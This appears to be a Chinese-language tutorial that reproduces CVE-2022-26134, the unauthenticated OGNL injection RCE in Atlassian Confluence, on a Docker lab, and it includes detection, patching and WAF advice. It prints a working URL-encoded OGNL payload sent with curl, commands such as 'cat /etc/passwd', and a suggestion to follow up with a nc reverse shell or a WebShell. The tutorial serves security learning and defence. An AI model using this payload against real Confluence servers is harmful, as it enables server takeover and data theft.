Confluence OGNL RCE 复现(CVE-2022-26134)

Atlassian Confluence 未授权 OGNL 注入 RCE,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

本文复现只在本机靶场进行。Confluence RCE 可直接控制服务器,禁止对真实系统使用。

一、漏洞原理

CVE-2022-26134 是 Atlassian Confluence 未认证 OGNL 注入。Confluence 的 Webwork/XWork 框架会解析 URL 路径中的 OGNL 表达式,攻击者无需登录即可执行表达式 → RCE。

1
URL 路径 → 解析为 OGNL → 执行命令

影响版本(Confluence Server / Data Center):

1
2
3
4
5
6
7
7.4.17 之前
7.13.0 – 7.13.7
7.14.0 – 7.14.2
7.15.0 – 7.15.1
7.16.0 – 7.16.3
7.17.0 – 7.17.2
7.18.0 – 7.18.1

二、影响与危害

1
2
3
未授权远程代码执行(RCE)
读取/篡改文档与配置
植入 WebShell、内网横向

风险等级:严重

三、利用 / 复现

环境准备

1
docker run -d -p 8090:8090 --name conf vulhub/confluence:CVE-2022-26134

验证漏洞

构造 URL 编码的 OGNL,把命令结果回显到响应:

1
curl "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%29%29.%28%23a%29%7D/"

${(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream()))} 的 URL 编码,响应里出现 uid= 即成功。

换命令

1
2
exec("whoami")
exec("cat /etc/passwd")

配合 nc 反弹 Shell 或写入 WebShell。

复现操作步骤

1
2
3
4
5
第 1 步:访问站点确认 Confluence 版本(指纹)
第 2 步:发 OGNL 注入 payload(URL 编码 ${@java.lang.Runtime...exec("id")...})
第 3 步:看响应是否回显 uid —— 回显即 RCE 确认
第 4 步:换命令验证(whoami / cat /etc/passwd)
第 5 步:确认后做反弹 Shell 或写 WebShell(授权内)

四、检测

1
2
3
4
请求路径中出现 ${ 的 URL 编码(%24%7B)与 OGNL 关键字
异常长路径、命令回显特征
Confluence 版本指纹核对
日志中大量异常路径请求

五、防御

1
2
3
升级 Confluence 到修复版本(7.4.17+/7.13.8+/7.18.2+ 等)
WAF 拦截 %24%7B 与 OGNL 关键字
限制 Confluence 公网暴露

六、修复

1
2
3
4
升级或应用官方补丁
清理已植入 WebShell/后门
限制管理端口与来源 IP
修复后复测:OGNL payload 不再执行

七、小结

Confluence 这种“文档/协作”组件常被忽略,但它是未认证 RCE 的高发区(OGNL 注入只是其中一个)。凡是暴露在公网、能当跳板的系统,都要纳入漏洞扫描与补丁管理。